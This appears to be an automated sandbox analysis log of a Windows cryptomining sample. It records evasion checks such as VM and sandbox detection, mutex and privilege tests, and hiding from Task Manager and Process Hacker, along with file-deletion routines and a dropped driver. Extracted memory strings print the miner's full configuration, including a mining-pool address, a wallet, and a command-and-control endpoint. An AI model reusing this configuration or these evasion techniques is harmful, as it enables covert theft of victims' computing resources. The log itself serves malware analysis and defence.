Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\explorer.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_13-18688
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_13-18688

Found evasive API chain checking for user administrative privileges

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Check user administrative privileges: IsUserAndAdmin, DecisionNode

graph_13-18791

Query firmware table information (likely to detect VMs)

Source: C:\Windows\explorer.exe

System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

API/Special instruction interceptor: Address: 7FFE2220E814

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: explorer.exe, 0000001C.00000003.2505054410.0000000001434000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506090498.0000000001429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2933340637.000000000142C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506136526.000000000141B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506026824.000000000141B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: explorer.exe, 0000001C.00000003.2046419071.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEHTTPS://WOO097878781.WIN/66/API/ENDPOINT.PHPYEERYSYJBFOQMOFC
Source: explorer.exe, 0000001C.00000003.2506136526.000000000141B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506026824.000000000141B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEEXE
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: explorer.exe, 0000001C.00000003.2505054410.0000000001434000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE>Q
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --ALGO=RX/0 --URL=POOL.HASHVAULT.PRO:3333 --USER="46YSJENG78AFEASVAS8AGTD5NFNHSFRQNALIWPNJHBKXCGRGGPYKAKZYJP3YSWYRD2A1CEHQQKUQDKHXWJ4XSVJXG8ASEJB" --PASS="" --CPU-MAX-THREADS-HINT=90 --CINIT-WINRING="ASRJSKWDSDOC.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-API="HTTPS://WOO097878781.WIN/66/API/ENDPOINT.PHP" --CINIT-VERSION="3.4.1" --NICEHASH --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=90 --CINIT-ID="YEERYSYJBFOQMOFC"
Source: explorer.exe, 0000001C.00000003.2505054410.0000000001434000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506090498.0000000001429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2933340637.000000000142C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXES\TEMP9,F
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EXPLORER.EXE--ALGO=RX/0--URL=POOL.HASHVAULT.PRO:3333--USER=46YSJENG78AFEASVAS8AGTD5NFNHSFRQNALIWPNJHBKXCGRGGPYKAKZYJP3YSWYRD2A1CEHQQKUQDKHXWJ4XSVJXG8ASEJB--PASS=--CPU-MAX-THREADS-HINT=90--CINIT-WINRING=ASRJSKWDSDOC.SYS--RANDOMX-NO-RDMSR--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-API=HTTPS://WOO097878781.WIN/66/API/ENDPOINT.PHP--CINIT-VERSION=3.4.1--NICEHASH--TLS--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=90--CINIT-ID=YEERYSYJBFOQMOFCB
Source: explorer.exe, 0000001C.00000003.2505054410.0000000001434000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2506090498.0000000001429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2933340637.000000000142C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2046419071.00000000013E1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_0031CA00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

13_2_0031CA00

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 855	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6192	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3583	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3836	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5862	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1038	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 958	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7363	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2227	Jump to behavior

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_16-18695

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys

Jump to dropped file

Source: C:\Windows\explorer.exe

Evaded block: after key decision

graph_16-18185

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_13-17858

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API coverage: 6.9 %
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	API coverage: 9.6 %

Source: C:\Users\user\Desktop\file.exe TID: 3716	Thread sleep count: 855 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6740	Thread sleep count: 6192 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6740	Thread sleep count: 3583 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7264	Thread sleep count: 3836 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 5862 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 7396	Thread sleep count: 83 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 1038 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 958 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7888	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7876	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7876	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep count: 7363 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 2227 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8064	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031CA90 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	13_2_0031CA90
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00313620 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	13_2_00313620
Source: C:\Windows\explorer.exe	Code function: 16_2_00E097F0 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	16_2_00E097F0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C7FB0 LocalAlloc,StrCmpNIW,LocalAlloc,LocalAlloc,LocalAlloc,FindFirstFileW,lstrcmpiW,lstrcmpiW,LocalAlloc,GetTempPathW,LocalAlloc,GetTickCount,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,CloseHandle,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,lstrlenW,	18_2_022C7FB0

Source: C:\Windows\explorer.exe

Code function: 18_2_022DBBF0 GetSystemInfo,

18_2_022DBBF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\295B.tmp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.tmp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp	Jump to behavior

Source: explorer.exe, 00000010.00000003.2642056847.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.1947547762.00000000005EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: explorer.exe, 0000001C.00000002.2933340637.0000000001389000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: explorer.exe, 00000010.00000003.2015726294.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2933740665.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2557868865.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2038161328.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2642056847.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2015592624.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2933414236.0000000000D37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2617916671.0000000000940000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.2933340637.00000000013E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000010.00000003.2015726294.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2933740665.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2557868865.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2038161328.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2642056847.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2015592624.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#k
Source: powershell.exe, 00000007.00000002.1827349550.000002386CF5F000.00000004.00000020.00020000.00000000.sdmp, downloaded_file.exe, 0000000D.00000002.1957167452.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2019228490.0000000000940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3X
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17866
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-18807
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17860
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17887
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-18795
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17857
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-18800
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17880
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17883
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-17891
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	API call chain: ExitProcess graph end node	graph_13-20358
